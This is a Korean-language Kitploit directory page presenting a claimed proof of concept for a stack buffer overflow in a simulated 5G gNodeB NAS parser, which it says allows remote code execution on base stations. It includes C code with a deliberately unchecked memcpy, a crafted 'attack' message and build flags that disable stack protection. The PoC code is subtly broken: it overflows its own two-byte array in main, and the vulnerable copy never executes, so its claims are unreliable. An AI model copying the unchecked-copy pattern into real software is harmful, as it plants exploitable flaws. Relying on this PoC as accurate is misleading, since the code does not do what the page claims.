Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23002-5G-NAS-Message-Buffer-Overflow-in-gNodeB — CVE-2026-23002에 대한 스택 버퍼 오버플로 PoC를 포함한 시뮬레이션된 5G gNodeB NAS 파서로, 조작된 NAS 메시지가 원격 코드 실행을 유발합니다. | Kitploit
도구/GitHubGitHub/george0papasotiriou/cve-2026-23002-5g-nas-message-buffer-overflow-in-gnodeb
Embedded Systems SecurityVulnerability AnalysisExploitationNetwork SecurityBinary Exploitation
GitHubgeorge0papasotiriou/cve-2026-23002-5g-nas-message-buffer-overflow-in-gnodeb

CVE-2026-23002-5G-NAS-Message-Buffer-Overflow-in-gNodeB

CVE-2026-23002에 대한 스택 버퍼 오버플로 PoC를 포함한 시뮬레이션된 5G gNodeB NAS 파서로, 조작된 NAS 메시지가 원격 코드 실행을 유발합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
15일 전아직 검토되지 않음

CVE-2026-23002 – gNodeB의 5G NAS 메시지 버퍼 오버플로우

프로그램 코드 (C 시뮬레이션)

root@kitploit:~
// gnb_nas_sim.c - Simulated 5G gNodeB parsing NAS Registration Request
#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define MAX_IE_SIZE 128

void process_registration_request(uint8_t *nas_msg, uint16_t length) {
    uint8_t ie_buffer[MAX_IE_SIZE];
    // Read IE length from message; if length > MAX_IE_SIZE, buffer overflow
    uint16_t ie_length = (nas_msg[0] << 8) | nas_msg[1];
    if (ie_length > 0 && ie_length <= length - 2) {
        memcpy(ie_buffer, nas_msg + 2, ie_length); // no bounds check!
        printf("IE copied, size %d\n", ie_length);
    }
}

int main() {
    // Craft a NAS message with an oversized IE length
    uint8_t attack[] = {0x01, 0x00}; // IE length = 256, but buffer is only 128 bytes
    // Append padding to make length consistent
    memset(attack+2, 'A', 254);
    process_registration_request(attack, sizeof(attack));
    return 0;
}

CVE-2026-23002 – gNodeB의 5G NAS 메시지 버퍼 오버플로우

Severity: Critical

개요

시뮬레이션된 gNodeB의 5G NAS(Non-Access Stratum) 파서는 정보 요소(Information Element) 길이 필드를 검증하지 않습니다. 공격자가 조작된 등록 요청(Registration Request)을 보내면 스택 버퍼가 오버플로우되어 기지국에서 원격 코드 실행이 발생할 수 있습니다.

취약점 세부 정보

  • 유형: 스택 버퍼 오버플로우
  • 영향: 기지국 전체 손상, 네트워크 중단.
  • 근본 원인: NAS IE 길이가 대상 버퍼 크기에 대한 경계 검사 없이 신뢰됩니다.

익스플로잇 데모

취약한 파서를 컴파일하고 실행합니다:

root@kitploit:~
gcc -o gnb_nas_sim gnb_nas_sim.c -fno-stack-protector
./gnb_nas_sim

프로그램은 세그멘테이션 오류(스택 손상)로 충돌합니다.


도구 다운로드